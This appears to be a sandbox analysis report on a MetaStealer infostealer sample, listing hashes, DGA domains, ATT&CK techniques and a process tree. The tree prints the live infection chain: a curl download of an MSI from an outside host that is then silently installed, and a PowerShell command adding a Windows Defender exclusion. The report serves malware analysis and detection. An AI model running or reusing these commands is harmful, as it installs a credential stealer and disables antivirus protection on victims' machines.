metastealer | 4b4bb2f618431b740a075df0972cd029be2418c1f1870d411ef4cf1e8779c97e

Analysis

max time kernel
146s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
31-12-2024 08:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

c156c24ba8bbf168969b9acfa760f49b.lnk
Size

3KB
MD5

c156c24ba8bbf168969b9acfa760f49b
SHA1

110d20232e070265c8b5ab808264c5e9613cede6
SHA256

4b4bb2f618431b740a075df0972cd029be2418c1f1870d411ef4cf1e8779c97e
SHA512

d2969b42c5a4e5e8ceff1d8961e75abd4b9172631765445ac61f87f20acffd55054b94f4d491e80c53c0423da26f72948672ba6b41d4e2793a8a9fd9899518c7

Score

10^/10

metastealer discovery execution spyware stealer

Malware Config

Extracted

Family

metastealer

kiyaqoimsiieeyqa.xyz

ssqsmisuowqcwsqo.xyz

ykqmwgsuummieaug.xyz

ewukeskgqswqesiw.xyz

cscqcsgewmwwaaui.xyz

cyoksykiamiscyia.xyz

okgomokemoucqeso.xyz

ikwacuakiqeimwua.xyz

aawcsqqaywckiwmi.xyz

aiqasksgmyeqocei.xyz

qgumcuisgaeyuqqe.xyz

eiesoycamyqqgcea.xyz

ywceswakicsqomqw.xyz

auaieuewouawygku.xyz

cmiascusccywowcs.xyz

uiqkkomkaceqacec.xyz

quqeciymqmkqccqw.xyz

ssqsauuuyyigouou.xyz

aogaakukuugqswcy.xyz

ucgwcwsuqsuwewgc.xyz

Attributes

dga_seed
21845
domain_length
16
num_dga_domains
10000
port
443

Signatures

Meta Stealer
Meta Stealer steals passwords stored in browsers, written in C++.
stealer metastealer

MetaStealer payload 1 IoCs

resource	yara_rule
behavioral2/memory/1744-170-0x0000000010000000-0x0000000010731000-memory.dmp	family_metastealer

Metastealer family
metastealer

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5972	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1744	install.exe

Loads dropped DLL 1 IoCs

pid	Process
876	MsiExec.exe

Modifies file permissions 1 TTPs 1 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
3156	ICACLS.EXE

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 23 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e579db7.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e579db7.msi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{EC0B7729-7E31-4A40-84C7-A7BC5EBB8C41}	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI9E82.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	systeminfo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
5156	systeminfo.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
5116	msedge.exe
5116	msedge.exe
2032	msedge.exe
2032	msedge.exe
2016	identity_helper.exe
2016	identity_helper.exe
1380	msiexec.exe
1380	msiexec.exe
5972	powershell.exe
5972	powershell.exe
5972	powershell.exe
1744	install.exe
1744	install.exe
5508	msedge.exe
5508	msedge.exe
5508	msedge.exe
5508	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 7 IoCs

pid	Process
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe

Suspicious use of AdjustPrivilegeToken 37 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4676	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4676	msiexec.exe
Token: SeSecurityPrivilege	1380	msiexec.exe
Token: SeCreateTokenPrivilege	4676	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4676	msiexec.exe
Token: SeLockMemoryPrivilege	4676	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4676	msiexec.exe
Token: SeMachineAccountPrivilege	4676	msiexec.exe
Token: SeTcbPrivilege	4676	msiexec.exe
Token: SeSecurityPrivilege	4676	msiexec.exe
Token: SeTakeOwnershipPrivilege	4676	msiexec.exe
Token: SeLoadDriverPrivilege	4676	msiexec.exe
Token: SeSystemProfilePrivilege	4676	msiexec.exe
Token: SeSystemtimePrivilege	4676	msiexec.exe
Token: SeProfSingleProcessPrivilege	4676	msiexec.exe
Token: SeIncBasePriorityPrivilege	4676	msiexec.exe
Token: SeCreatePagefilePrivilege	4676	msiexec.exe
Token: SeCreatePermanentPrivilege	4676	msiexec.exe
Token: SeBackupPrivilege	4676	msiexec.exe
Token: SeRestorePrivilege	4676	msiexec.exe
Token: SeShutdownPrivilege	4676	msiexec.exe
Token: SeDebugPrivilege	4676	msiexec.exe
Token: SeAuditPrivilege	4676	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4676	msiexec.exe
Token: SeChangeNotifyPrivilege	4676	msiexec.exe
Token: SeRemoteShutdownPrivilege	4676	msiexec.exe
Token: SeUndockPrivilege	4676	msiexec.exe
Token: SeSyncAgentPrivilege	4676	msiexec.exe
Token: SeEnableDelegationPrivilege	4676	msiexec.exe
Token: SeManageVolumePrivilege	4676	msiexec.exe
Token: SeImpersonatePrivilege	4676	msiexec.exe
Token: SeCreateGlobalPrivilege	4676	msiexec.exe
Token: SeRestorePrivilege	1380	msiexec.exe
Token: SeTakeOwnershipPrivilege	1380	msiexec.exe
Token: SeRestorePrivilege	1380	msiexec.exe
Token: SeTakeOwnershipPrivilege	1380	msiexec.exe
Token: SeDebugPrivilege	5972	powershell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe
2032	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1328 wrote to memory of 3300	1328	cmd.exe	84
PID 1328 wrote to memory of 3300	1328	cmd.exe	84
PID 3300 wrote to memory of 2032	3300	cmd.exe	85
PID 3300 wrote to memory of 2032	3300	cmd.exe	85
PID 2032 wrote to memory of 1388	2032	msedge.exe	88
PID 2032 wrote to memory of 1388	2032	msedge.exe	88
PID 3300 wrote to memory of 3916	3300	cmd.exe	87
PID 3300 wrote to memory of 3916	3300	cmd.exe	87
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 1760	2032	msedge.exe	89
PID 2032 wrote to memory of 5116	2032	msedge.exe	90
PID 2032 wrote to memory of 5116	2032	msedge.exe	90
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91
PID 2032 wrote to memory of 1456	2032	msedge.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\c156c24ba8bbf168969b9acfa760f49b.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k start msedge https://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf & curl -sLo C:\Users\Admin\AppData\Local\Temp\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi http://serverl.org/cords/install.msi & C:\Users\Admin\AppData\Local\Temp\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi /qn & del /q/f/s C:\Users\Admin\AppData\Local\Temp & exit
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3300
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://unec.edu.az/application/uploads/2014/12/pdf-sample.pdf
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:2032
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x100,0x104,0x108,0xfc,0x10c,0x7ffa6d4346f8,0x7ffa6d434708,0x7ffa6d434718
      4⤵
      PID:1388
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2092 /prefetch:2
      4⤵
      PID:1760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 /prefetch:3
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2864 /prefetch:8
      4⤵
      PID:1456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3324 /prefetch:1
      4⤵
      PID:1792
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
      4⤵
      PID:2696
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --extension-process --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4624 /prefetch:1
      4⤵
      PID:1880
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=4892 /prefetch:6
      4⤵
      PID:4720
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5248 /prefetch:8
      4⤵
      PID:3236
  - - C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5248 /prefetch:8
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2016
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
      4⤵
      PID:2692
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5332 /prefetch:1
      4⤵
      PID:4688
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5824 /prefetch:1
      4⤵
      PID:1088
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
      4⤵
      PID:832
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2032,8013966122300718259,3210389502934496667,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=3048 /prefetch:2
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5508
- - C:\Windows\System32\curl.exe
    curl -sLo C:\Users\Admin\AppData\Local\Temp\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi http://serverl.org/cords/install.msi
    3⤵
    PID:3916
- - C:\Windows\System32\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\6ad5feeb-dcc3-4eef-baa3-4bcd42ce30b4.msi" /qn
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4676

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:2348

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3576

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1380
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A5AA8F5B8DC75E9CF2B6219C0DC6A045
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:876
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-23b984e5-06d7-498c-a64b-6f6efc3360a5\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:3156
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:3524
- - C:\Users\Admin\AppData\Local\Temp\MW-23b984e5-06d7-498c-a64b-6f6efc3360a5\files\install.exe
    "C:\Users\Admin\AppData\Local\Temp\MW-23b984e5-06d7-498c-a64b-6f6efc3360a5\files\install.exe" /VERYSILENT /VERYSILENT
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    PID:1744
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Microsoft\Windows\search.exe"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5972
  - - C:\Windows\SysWOW64\systeminfo.exe
      systeminfo
      4⤵
      System Location Discovery: System Language Discovery
      Gathers system information
      PID:5156

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
e55832d7cd7e868a2c087c4c73678018

SHA1
ed7a2f6d6437e907218ffba9128802eaf414a0eb

SHA256
a4d7777b980ec53de3a70aca8fb25b77e9b53187e7d2f0fa1a729ee9a35da574

SHA512
897fdebf1a9269a1bf1e3a791f6ee9ab7c24c9d75eeff65ac9599764e1c8585784e1837ba5321d90af0b004af121b2206081a6fb1b1ad571a0051ee33d3f5c5f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
c2d9eeb3fdd75834f0ac3f9767de8d6f

SHA1
4d16a7e82190f8490a00008bd53d85fb92e379b0

SHA256
1e5efb5f1d78a4cc269cb116307e9d767fc5ad8a18e6cf95c81c61d7b1da5c66

SHA512
d92f995f9e096ecc0a7b8b4aca336aeef0e7b919fe7fe008169f0b87da84d018971ba5728141557d42a0fc562a25191bd85e0d7354c401b09e8b62cdc44b6dcd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
179B

MD5
c0f9c0e4a174af209009565bde9403a4

SHA1
837aa6e12e2604c38d724ddb50f4951aaa564ba2

SHA256
917e025806604aadf4a320c85de4e8f527eca9bcc091aa32bfc2e2f6f39c47cb

SHA512
f446d51eab32acc197b66519a39a6564b8ed8c73d72606af2ac17592fee7283e727b7292a931f4e77c01e2c96508cf7ece4217e2a1f0c6316e7e89dfb2d0e9bb

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
78762a3839b84866a7d1d7ada251d2e5

SHA1
f1904441ffbb923da7b6a7a70cca00f4ab246e4e

SHA256
2578d71f59cac8f68d62d167cb66815342bb2f46809b765b6d7504fbedb47e98

SHA512
ab89e279036385163432a098f9448e85eeed9b9c869525e986f619c803714a732ba7050b2868bf579830390a40e6f5aec91ef3bbfa03229698392fb7f77a1347

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
947fcae4eb53d194d14f4be21bc29051

SHA1
f6f833b1e834fef5649c87f70fa1ae0a0a46ecb4

SHA256
8790c507b7c56176ec96517065e407453223bc782e1436d44f820df85f14a64c

SHA512
2fa0f95088710b986d3f77e9b9b75ed3372d905465e657eab9b502cf31d822b02d3a276d39814f9b5c90d86db43ec0cbcd0b65361c0aa12fa8dd4de3aba200cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
6752a1d65b201c13b62ea44016eb221f

SHA1
58ecf154d01a62233ed7fb494ace3c3d4ffce08b

SHA256
0861415cada612ea5834d56e2cf1055d3e63979b69eb71d32ae9ae394d8306cd

SHA512
